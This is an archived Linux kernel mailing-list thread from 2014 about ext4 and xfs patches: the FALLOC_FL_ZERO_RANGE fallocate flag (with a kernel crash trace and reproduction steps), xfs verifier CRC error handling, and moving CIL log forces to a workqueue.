util_linux, xfsprogs and xfstests which you > > can find here: > > > > http://people.redhat.com/lczerner/zero_range/ > > Thank you for your great work! > I've tested it both on xfs and on ext4. > (Test environment: Fedora 20, Kernel 3.14-rc3 + your patches, > util-linux v2.24-232-g3c7ed4a + your patches) > > It seems to work with xfs without problem. > On ext4, however, immediately after doing "fallocate -z", > kernel crashes with the following error: That's weird I have not seen that before even after running tests for several days and fallocate -z works as expected for me. Are you able to reproduce it ? Can you tell me the steps to reproduce this ? The problem is that the extent we're trying to mark as uninitialized has zero length.... Ah...I can probably see what is going on. For some inexplicable reason I am forgetting to take i_data_sem which means that we're probably racing with truncate or something else. Thanks a lot for letting me know and If you can please send me a reproducer for your case because as I said I have not seen this before. Thanks! -Lukas > > ------------[ cut here ]------------ > kernel BUG at fs/ext4/ext4_extents.h:193! > invalid opcode: 0000 [#1] SMP > Modules linked in: 9pnet_virtio virtio_net 9pnet virtio_blk virtio_pci > virtio_ring virtio > CPU: 2 PID: 2959 Comm: fallocate Not tainted 3.14.0-rc3+ #34 > Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 > task: ffff8800da97da10 ti: ffff880119068000 task.ti: ffff880119068000 > RIP: 0010:[] [] > ext4_ext_map_blocks+0x2899/0x2940 > RSP: 0018:ffff880119069c50 EFLAGS: 00010202 > RAX: 0000000000000003 RBX: ffff880036fa8470 RCX: 0000000000000002 > RDX: 0000000000000000 RSI: 0000000000000001 RDI: ffffffff82120e98 > RBP: ffff880119069d30 R08: ffff88011975d900 R09: 011ad15618080000 > R10: fec72ef09c4d8602 R11: 0000000000008000 R12: ffff880119069dd0 > R13: 0000000000000403 R14: 0000000000000001 R15: ffff880118c6700c > FS: 00007fa54a0ba740(0000) GS:ffff88011fc40000(0000) > knlGS:0000000000000000 > CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 > CR2: 0000003cdbf6f7e0 CR3: 0000000119077000 CR4: 00000000000006e0 > Stack: > 0000000000000000 0000000000008000 ffff880036fa86c8 0000000000000000 > ffff880100000000 0000800081384dee 0000000000000001 ffff880000000000 > 0000000000008800 0000000000000000 ffff880036f6f000 ffff88011975d900 > Call Trace: > [] ? ext4_es_insert_extent+0x15a/0x240 > [] ? ext4_find_delalloc_range+0x1e/0xb0 > [] ext4_map_blocks+0x25f/0x830 > [] ? ext4_alloc_file_blocks+0xc4/0x1e0 > [] ext4_alloc_file_blocks+0x13a/0x1e0 > [] ext4_zero_range+0x61f/0x870 > [] ext4_fallocate+0x4e3/0x6c0 > [] ? __sb_start_write+0x145/0x1a0 > [] ? kmem_cache_free+0x2f0/0x3f0 > [] ? final_putname+0x30/0x60 > [] do_fallocate+0x1e7/0x290 > [] SyS_fallocate+0x79/0xc0 > [] system_call_fastpath+0x16/0x1b > Code: ba dc 05 00 00 48 c7 c6 b0 91 c7 81 48 89 df 89 04 24 31 c0 e8 99 > 83 fe ff e9 f5 f8 ff ff 48 83 05 34 b3 f5 00 01 e9 0a db ff ff <0f> 0b > 0f 0b 0f 0b 0f 0b 45 89 d1 49 c7 c0 48 22 e5 81 31 > RIP [] ext4_ext_map_blocks+0x2899/0x2940 > RSP > ---[ end trace ba21204a3a98fbdc ]--- > > Regards, > Dongsu > > > I'll post the patches after we agree and merge the kernel functionality. > > > > I tested this mostly with a subset of xfstests using fsx and fsstress and > > even with new generic/290 which is just a copy of xfs/290 usinz fzero > > command for xfs_io instead of zero (which uses ioctl). I was testing on > > x86_64 and ppc64 with block sizes of 1024, 2048 and 4096. > > > > ./check generic/076 generic/232 generic/013 generic/070 generic/269 generic/083 generic/117 generic/068 generic/231 generic/127 generic/091 generic/075 generic/112 generic/263 generic/091 generic/075 generic/256 generic/255 generic/316 generic/300 generic/290; > > > > Note that there is a work in progress on FALLOC_FL_COLLAPSE_RANGE which > > touches the same area as this pach set does, so we should figure out > > which one should go first and modify the other on top of it. > > > > Thanks! > > -Lukas > > > > -- > > [PATCH 1/6] ext4: Update inode i_size after the preallocation > > [PATCH 2/6] ext4: refactor ext4_fallocate code > > [PATCH 3/6] ext4: translate fallocate mode bits to strings > > [PATCH 4/6] fs: Introduce FALLOC_FL_ZERO_RANGE flag for fallocate > > [PATCH 5/6] ext4: Introduce FALLOC_FL_ZERO_RANGE flag for fallocate > > [PATCH 6/6] xfs: Add support for FALLOC_FL_ZERO_RANGE > > > > fs/ext4/ext4.h | 3 + > > fs/ext4/extents.c | 430 ++++++++++++++++++++++++++++++++++++++++++++++++++++---------------- > > fs/ext4/inode.c | 17 ++- > > fs/open.c | 7 +- > > fs/xfs/xfs_file.c | 10 +- > > include/trace/events/ext4.h | 67 ++++++----- > > include/uapi/linux/falloc.h | 1 + > > 7 files changed, 393 insertions(+), 142 deletions(-) > > -- > > To unsubscribe from this list: send the line "unsubscribe linux-fsdevel" in > > the body of a message to majordomo@vger.kernel.org > > More majordomo info at http://vger.kernel.org/majordomo-info.html > From dongsu.park@profitbricks.com Wed Feb 19 09:52:36 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 09C447F5F for ; Wed, 19 Feb 2014 09:52:36 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 010AE3040AA for ; Wed, 19 Feb 2014 07:52:32 -0800 (PST) X-ASG-Debug-ID: 1392825151-04cb6c6de25a8930001-NocioJ Received: from mail-qc0-f180.google.com (mail-qc0-f180.google.com [209.85.216.180]) by cuda.sgi.com with ESMTP id 1Zb9PcCHepkMPDKK (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 19 Feb 2014 07:52:31 -0800 (PST) X-Barracuda-Envelope-From: dongsu.park@profitbricks.com X-Barracuda-Apparent-Source-IP: 209.85.216.180 Received: by mail-qc0-f180.google.com with SMTP id i17so779402qcy.11 for ; Wed, 19 Feb 2014 07:52:31 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:from:date :message-id:subject:to:cc:content-type:content-transfer-encoding; bh=2HY1MmMkDhq5T41FJLtsmGnzi3uROZUjwrD3qZMPIoo=; b=VBVrfhYgraJ6VHYkgMAzstZE4DCok0jjRYTGh2otfCtX1ySJjIMq3SSOR1RSHgElEK hf+30II6PqYcqTw1DfLeJH6nRbNbBRynhiv/SaFZq3Acs2qImn1iEO4sy9Lgj9QOHkDQ /bjioa3x1KAuN/VCk8krh86QPCeYNBFhbtVy1fQ5PY/zoX4IGWOqWe4BbS9oFNFQg1l0 W/Ssc7bdJmKoVCRKCzKlhqtc19ITwxQoFVZyu08ZOt4YfCgyfzXS+QsbloKGH2Y8bIWI 2KsDhm9NtCphUdR250kgxeFihj3aGXipaUh8bFTmszhmdtoEErashMaCzYJCfCDdRb6E oq6Q== X-Gm-Message-State: ALoCoQlHZfPfs2/sCTxTYW22oK3pPlRekyMzF3yX3bEQgrqZwaLfyFISPZKWFxEyipa1lr5Eb+Dr X-Received: by 10.140.31.247 with SMTP id f110mr47702797qgf.58.1392825150983; Wed, 19 Feb 2014 07:52:30 -0800 (PST) MIME-Version: 1.0 Received: by 10.96.129.231 with HTTP; Wed, 19 Feb 2014 07:51:23 -0800 (PST) In-Reply-To: References: <1392649703-10772-1-git-send-email-lczerner@redhat.com> <20140219145239.GA14849@gmail.com> From: Dongsu Park Date: Wed, 19 Feb 2014 16:51:23 +0100 Message-ID: Subject: Re: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for fallocate To: =?ISO-8859-2?Q?Luk=E1=B9_Czerner?= X-ASG-Orig-Subj: Re: [PATCH 0/6][RFC] Introduce FALLOC_FL_ZERO_RANGE flag for fallocate Cc: linux-ext4 , tytso , linux-fsdevel , xfs Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: mail-qc0-f180.google.com[209.85.216.180] X-Barracuda-Start-Time: 1392825151 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145282 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Feb 19, 2014 at 4:18 PM, Luk=C3=A1=C5=A1 Czerner wrote: > On Wed, 19 Feb 2014, Dongsu Park wrote: > Are you able to reproduce it ? Can you tell me the steps to > reproduce this ? The problem is that the extent we're trying to mark > as uninitialized has zero length.... > > Ah...I can probably see what is going on. For some inexplicable > reason I am forgetting to take i_data_sem which means that we're > probably racing with truncate or something else. > > Thanks a lot for letting me know and If you can please send me a > reproducer for your case because as I said I have not seen this > before. Yes, it's reliably reproducible. What I'm doing for testing is quite simple, just like that: (/dev/vdb is a test block device, 16GiB in size) # mke2fs -t ext4 /dev/vdb # mkdir -p /mnt/test1 # mount -t ext4 -o discard /dev/vdb /mnt/test1 # dd if=3D/dev/urandom of=3D/mnt/test1/file1 bs=3D2G count=3D1 # fallocate -z -l 2G /mnt/test1/file1 Then kernel crashes immediately. Cheers, Dongsu > Thanks! > -Lukas > > > > > ------------[ cut here ]------------ > > kernel BUG at fs/ext4/ext4_extents.h:193! > > invalid opcode: 0000 [#1] SMP > > Modules linked in: 9pnet_virtio virtio_net 9pnet virtio_blk virtio_pci > > virtio_ring virtio > > CPU: 2 PID: 2959 Comm: fallocate Not tainted 3.14.0-rc3+ #34 > > Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 > > task: ffff8800da97da10 ti: ffff880119068000 task.ti: ffff880119068000 > > RIP: 0010:[] [] > > ext4_ext_map_blocks+0x2899/0x2940 > > RSP: 0018:ffff880119069c50 EFLAGS: 00010202 > > RAX: 0000000000000003 RBX: ffff880036fa8470 RCX: 0000000000000002 > > RDX: 0000000000000000 RSI: 0000000000000001 RDI: ffffffff82120e98 > > RBP: ffff880119069d30 R08: ffff88011975d900 R09: 011ad15618080000 > > R10: fec72ef09c4d8602 R11: 0000000000008000 R12: ffff880119069dd0 > > R13: 0000000000000403 R14: 0000000000000001 R15: ffff880118c6700c > > FS: 00007fa54a0ba740(0000) GS:ffff88011fc40000(0000) > > knlGS:0000000000000000 > > CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 > > CR2: 0000003cdbf6f7e0 CR3: 0000000119077000 CR4: 00000000000006e0 > > Stack: > > 0000000000000000 0000000000008000 ffff880036fa86c8 0000000000000000 > > ffff880100000000 0000800081384dee 0000000000000001 ffff880000000000 > > 0000000000008800 0000000000000000 ffff880036f6f000 ffff88011975d900 > > Call Trace: > > [] ? ext4_es_insert_extent+0x15a/0x240 > > [] ? ext4_find_delalloc_range+0x1e/0xb0 > > [] ext4_map_blocks+0x25f/0x830 > > [] ? ext4_alloc_file_blocks+0xc4/0x1e0 > > [] ext4_alloc_file_blocks+0x13a/0x1e0 > > [] ext4_zero_range+0x61f/0x870 > > [] ext4_fallocate+0x4e3/0x6c0 > > [] ? __sb_start_write+0x145/0x1a0 > > [] ? kmem_cache_free+0x2f0/0x3f0 > > [] ? final_putname+0x30/0x60 > > [] do_fallocate+0x1e7/0x290 > > [] SyS_fallocate+0x79/0xc0 > > [] system_call_fastpath+0x16/0x1b > > Code: ba dc 05 00 00 48 c7 c6 b0 91 c7 81 48 89 df 89 04 24 31 c0 e8 99 > > 83 fe ff e9 f5 f8 ff ff 48 83 05 34 b3 f5 00 01 e9 0a db ff ff <0f> 0b > > 0f 0b 0f 0b 0f 0b 45 89 d1 49 c7 c0 48 22 e5 81 31 > > RIP [] ext4_ext_map_blocks+0x2899/0x2940 > > RSP > > ---[ end trace ba21204a3a98fbdc ]--- > > > > Regards, > > Dongsu > > > > > I'll post the patches after we agree and merge the kernel functionali= ty. > > > > > > I tested this mostly with a subset of xfstests using fsx and fsstress= and > > > even with new generic/290 which is just a copy of xfs/290 usinz fzero > > > command for xfs_io instead of zero (which uses ioctl). I was testing = on > > > x86_64 and ppc64 with block sizes of 1024, 2048 and 4096. > > > > > > ./check generic/076 generic/232 generic/013 generic/070 generic/269 g= eneric/083 generic/117 generic/068 generic/231 generic/127 generic/091 gene= ric/075 generic/112 generic/263 generic/091 generic/075 generic/256 generic= /255 generic/316 generic/300 generic/290; > > > > > > Note that there is a work in progress on FALLOC_FL_COLLAPSE_RANGE whi= ch > > > touches the same area as this pach set does, so we should figure out > > > which one should go first and modify the other on top of it. > > > > > > Thanks! > > > -Lukas > > > > > > -- > > > [PATCH 1/6] ext4: Update inode i_size after the preallocation > > > [PATCH 2/6] ext4: refactor ext4_fallocate code > > > [PATCH 3/6] ext4: translate fallocate mode bits to strings > > > [PATCH 4/6] fs: Introduce FALLOC_FL_ZERO_RANGE flag for fallocate > > > [PATCH 5/6] ext4: Introduce FALLOC_FL_ZERO_RANGE flag for fallocate > > > [PATCH 6/6] xfs: Add support for FALLOC_FL_ZERO_RANGE > > > > > > fs/ext4/ext4.h | 3 + > > > fs/ext4/extents.c | 430 ++++++++++++++++++++++++++++++++++= ++++++++++++++++++---------------- > > > fs/ext4/inode.c | 17 ++- > > > fs/open.c | 7 +- > > > fs/xfs/xfs_file.c | 10 +- > > > include/trace/events/ext4.h | 67 ++++++----- > > > include/uapi/linux/falloc.h | 1 + > > > 7 files changed, 393 insertions(+), 142 deletions(-) > > > -- > > > To unsubscribe from this list: send the line "unsubscribe linux-fsdev= el" in > > > the body of a message to majordomo@vger.kernel.org > > > More majordomo info at http://vger.kernel.org/majordomo-info.html > > From sandeen@sandeen.net Wed Feb 19 10:12:40 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D59097F3F for ; Wed, 19 Feb 2014 10:12:40 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id CBC99304097 for ; Wed, 19 Feb 2014 08:12:37 -0800 (PST) X-ASG-Debug-ID: 1392826352-04cb6c6de05aaa60001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id buae4hhGSJCt8dkM for ; Wed, 19 Feb 2014 08:12:32 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 1BD31651AC34; Wed, 19 Feb 2014 10:12:32 -0600 (CST) Message-ID: <5304D7EE.8050406@sandeen.net> Date: Wed, 19 Feb 2014 10:12:30 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Brian Foster , Eric Sandeen , xfs@oss.sgi.com Subject: Re: [PATCH 9/9] xfs: modify verifiers to differentiate CRC from other errors References: <1392767549-25574-1-git-send-email-sandeen@redhat.com> <1392767549-25574-10-git-send-email-sandeen@redhat.com> <5304B941.5090800@redhat.com> X-ASG-Orig-Subj: Re: [PATCH 9/9] xfs: modify verifiers to differentiate CRC from other errors In-Reply-To: <5304B941.5090800@redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1392826352 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145282 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 2/19/14, 8:01 AM, Brian Foster wrote: > On 02/18/2014 06:52 PM, Eric Sandeen wrote: >> Modify all read & write verifiers to differentiate >> between CRC errors and other inconsistencies. >> >> This sets the appropriate error number on bp->b_error, >> and then calls xfs_verifier_error() if something went >> wrong. That function will issue the appropriate message >> to the user. >> >> Signed-off-by: Eric Sandeen >> --- ... >> @@ -485,14 +484,13 @@ xfs_agfl_read_verify( >> if (!xfs_sb_version_hascrc(&mp->m_sb)) >> return; >> >> - agfl_ok = xfs_buf_verify_cksum(bp, XFS_AGFL_CRC_OFF); >> - >> - agfl_ok = agfl_ok && xfs_agfl_verify(bp); >> - >> - if (!agfl_ok) { >> - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); >> + if (!xfs_buf_verify_cksum(bp, offsetof(struct xfs_agfl, agfl_crc))) >> + xfs_buf_ioerror(bp, EFSBADCRC); >> + else if (!xfs_agfl_verify(bp)) > > Obviously you added the CRC_OFF directives earlier in the set. It looks > like this patch squashed a couple of them (XFS_AGF_CRC_OFF as well). Whoops, no idea how that happened :/ Thanks. >> xfs_buf_ioerror(bp, EFSCORRUPTED); >> - } >> + >> + if (bp->b_error) >> + xfs_verifier_error(bp); >> } >> > ... >> diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c >> index 4657586..8aa720d 100644 >> --- a/fs/xfs/xfs_ialloc.c >> +++ b/fs/xfs/xfs_ialloc.c >> @@ -1573,13 +1573,17 @@ xfs_agi_read_verify( >> if (xfs_sb_version_hascrc(&mp->m_sb)) >> agi_ok = xfs_buf_verify_cksum(bp, XFS_AGI_CRC_OFF); >> >> + if (!agi_ok) >> + xfs_buf_ioerror(bp, EFSBADCRC); >> + >> agi_ok = agi_ok && xfs_agi_verify(bp); >> >> if (unlikely(XFS_TEST_ERROR(!agi_ok, mp, XFS_ERRTAG_IALLOC_READ_AGI, >> - XFS_RANDOM_IALLOC_READ_AGI))) { >> - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); >> + XFS_RANDOM_IALLOC_READ_AGI))) >> xfs_buf_ioerror(bp, EFSCORRUPTED); >> - } >> + >> + if (bp->b_error) >> + xfs_verifier_error(bp); >> } > > Any reason not to use the same if/else pattern here that the others are > now using (i.e., similar to xfs_agf_read_verify(), removing the need for > agi_ok)? Hm I was thinking it was the weird XFS_TEST_ERROR construction but xfs_agf_read_verify has that too. I'll take another look, thanks. (TBH all these verifiers are so similar, I wish there were a way to not do so much of what is essentially cut and paste with different error tags & offsets...) Thanks for the careful review, -Eric > Brian From bfoster@redhat.com Wed Feb 19 12:25:02 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CBBE37F96 for ; Wed, 19 Feb 2014 12:25:02 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id A463A8F804B for ; Wed, 19 Feb 2014 10:25:02 -0800 (PST) X-ASG-Debug-ID: 1392834298-04bdf0083a6b890001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 6yLWfBXjzE7Kxe4C for ; Wed, 19 Feb 2014 10:24:58 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1JIOulD005639 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 19 Feb 2014 13:24:56 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1JIOtDc029260; Wed, 19 Feb 2014 13:24:56 -0500 Message-ID: <5304F6F6.3070007@redhat.com> Date: Wed, 19 Feb 2014 13:24:54 -0500 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH 1/3] xfs: always do log forces via the workqueue References: <1392783402-4726-1-git-send-email-david@fromorbit.com> <1392783402-4726-2-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 1/3] xfs: always do log forces via the workqueue In-Reply-To: <1392783402-4726-2-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392834298 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 02/18/2014 11:16 PM, Dave Chinner wrote: > From: Dave Chinner > > Log forces can occur deep in the call chain when we have relatively > little stack free. Log forces can also happen at close to the call > chain leaves (e.g. xfs_buf_lock()) and hence we can trigger IO from > places where we really don't want to add more stack overhead. > > This stack overhead occurs because log forces do foreground CIL > pushes (xlog_cil_push_foreground()) rather than waking the > background push wq and waiting for the for the push to complete. > This foreground push was done to avoid confusing the CFQ Io > scheduler when fsync()s were issued, as it has trouble dealing with > dependent IOs being issued from different process contexts. > > Avoiding blowing the stack is much more critical than performance > optimisations for CFQ, especially as we've been recommending against > the use of CFQ for XFS since 3.2 kernels were release because of > it's problems with multi-threaded IO workloads. > > Hence convert xlog_cil_push_foreground() to move the push work > to the CIL workqueue. We already do the waiting for the push to > complete in xlog_cil_force_lsn(), so there's nothing else we need to > modify to make this work. > > Signed-off-by: Dave Chinner > --- > fs/xfs/xfs_log_cil.c | 52 +++++++++++++++++++++++++++++++++++++++------------- > 1 file changed, 39 insertions(+), 13 deletions(-) > > diff --git a/fs/xfs/xfs_log_cil.c b/fs/xfs/xfs_log_cil.c > index b57a8e0..7e54553 100644 > --- a/fs/xfs/xfs_log_cil.c > +++ b/fs/xfs/xfs_log_cil.c > @@ -499,13 +499,6 @@ xlog_cil_push( > cil->xc_ctx = new_ctx; > > /* > - * mirror the new sequence into the cil structure so that we can do > - * unlocked checks against the current sequence in log forces without > - * risking deferencing a freed context pointer. > - */ > - cil->xc_current_sequence = new_ctx->sequence; > - > - /* > * The switch is now done, so we can drop the context lock and move out > * of a shared context. We can't just go straight to the commit record, > * though - we need to synchronise with previous and future commits so > @@ -523,8 +516,15 @@ xlog_cil_push( > * Hence we need to add this context to the committing context list so > * that higher sequences will wait for us to write out a commit record > * before they do. > + * > + * xfs_log_force_lsn requires us to mirror the new sequence into the cil > + * structure atomically with the addition of this sequence to the > + * committing list. This also ensures that we can do unlocked checks > + * against the current sequence in log forces without risking > + * deferencing a freed context pointer. > */ > spin_lock(&cil->xc_push_lock); > + cil->xc_current_sequence = new_ctx->sequence; > list_add(&ctx->committing, &cil->xc_committing); > spin_unlock(&cil->xc_push_lock); > up_write(&cil->xc_ctx_lock); > @@ -662,8 +662,14 @@ xlog_cil_push_background( > > } > > +/* > + * xlog_cil_push_now() is used to trigger an immediate CIL push to the sequence > + * number that is passed. When it returns, the work will be queued for > + * @push_seq, but it won't be completed. The caller is expected to do any > + * waiting for push_seq to complete if it is required. > + */ > static void > -xlog_cil_push_foreground( > +xlog_cil_push_now( > struct xlog *log, > xfs_lsn_t push_seq) > { > @@ -688,10 +694,8 @@ xlog_cil_push_foreground( > } > > cil->xc_push_seq = push_seq; > + queue_work(log->l_mp->m_cil_workqueue, &cil->xc_push_work); > spin_unlock(&cil->xc_push_lock); > - > - /* do the push now */ > - xlog_cil_push(log); > } > > bool > @@ -795,7 +799,8 @@ xlog_cil_force_lsn( > * xlog_cil_push() handles racing pushes for the same sequence, > * so no need to deal with it here. > */ > - xlog_cil_push_foreground(log, sequence); > +restart: > + xlog_cil_push_now(log, sequence); > > /* > * See if we can find a previous sequence still committing. > @@ -803,7 +808,6 @@ xlog_cil_force_lsn( > * before allowing the force of push_seq to go ahead. Hence block > * on commits for those as well. > */ > -restart: > spin_lock(&cil->xc_push_lock); > list_for_each_entry(ctx, &cil->xc_committing, committing) { > if (ctx->sequence > sequence) > @@ -821,6 +825,28 @@ restart: > /* found it! */ > commit_lsn = ctx->commit_lsn; > } > + > + /* > + * The call to xlog_cil_push_now() executes the push in the background. > + * Hence by the time we have got here it our sequence may not have been > + * pushed yet. This is true if the current sequence still matches the > + * push sequence after the above wait loop and the CIL still contains > + * dirty objects. > + * > + * When the push occurs, it will empty the CIL and > + * atomically increment the currect sequence past the push sequence and > + * move it into the committing list. Of course, if the CIL is clean at > + * the time of the push, it won't have pushed the CIL at all, so in that > + * case we should try the push for this sequence again from the start > + * just in case. > + */ > + > + if (sequence == cil->xc_current_sequence && > + !list_empty(&cil->xc_cil)) { > + spin_unlock(&cil->xc_push_lock); > + goto restart; > + } > + IIUC, the objective here is to make sure we don't leave this code path before the push even starts and the ctx makes it onto the committing list, due to xlog_cil_push_now() moving things to a workqueue. Given that, what's the purpose of re-executing the background push as opposed to restarting the wait sequence (as done previously)? It looks like push_now() won't queue the work again due to cil->xc_push_seq, but it will flush the queue and I suppose make it more likely the push starts. Is that the intent? Brian > spin_unlock(&cil->xc_push_lock); > return commit_lsn; > } > From bfoster@redhat.com Wed Feb 19 12:25:21 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9F8877F96 for ; Wed, 19 Feb 2014 12:25:21 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3198BAC009 for ; Wed, 19 Feb 2014 10:25:21 -0800 (PST) X-ASG-Debug-ID: 1392834320-04bdf00fca188ce0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id KIB1526vS92WufMY for ; Wed, 19 Feb 2014 10:25:20 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1JIPIi0001818 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 19 Feb 2014 13:25:18 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1JIPHTA030100; Wed, 19 Feb 2014 13:25:17 -0500 Message-ID: <5304F70C.8070601@redhat.com> Date: Wed, 19 Feb 2014 13:25:16 -0500 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH 2/3] xfs: fix directory inode iolock lockdep false positive References: <1392783402-4726-1-git-send-email-david@fromorbit.com> <1392783402-4726-3-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 2/3] xfs: fix directory inode iolock lockdep false positive In-Reply-To: <1392783402-4726-3-git-send-email-david@fromorbit.com> Content-Type: multipart/mixed; boundary="------------040905030403000703090303" X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392834320 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This is a multi-part message in MIME format. --------------040905030403000703090303 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit On 02/18/2014 11:16 PM, Dave Chinner wrote: > From: Dave Chinner > > The change to add the IO lock to protect the directory extent map > during readdir operations has cause lockdep to have a heart attack > as it now sees a different locking order on inodes w.r.t. the > mmap_sem because readdir has a different ordering to write(). > > 